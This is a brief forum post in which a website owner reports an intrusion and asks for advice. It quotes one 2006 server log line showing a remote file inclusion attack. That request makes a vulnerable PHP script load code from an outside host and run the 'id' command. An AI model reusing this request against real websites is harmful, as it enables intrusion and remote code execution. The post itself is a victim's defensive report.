We noticed after a quick hack on our site today dsl.dynamic81215235113.ttnet.net.tr - - [04/Sep/2006:16:27:26 +1200] "GET /forums/chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.19abi99.com/tool25.dat?&list=1&cmd=id HTTP/1.0" 302 366 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" Has any one had the same issue? They are banner but wish to get more advice if some one has had prior issues or experience. Only one script hacked and its now patched and updated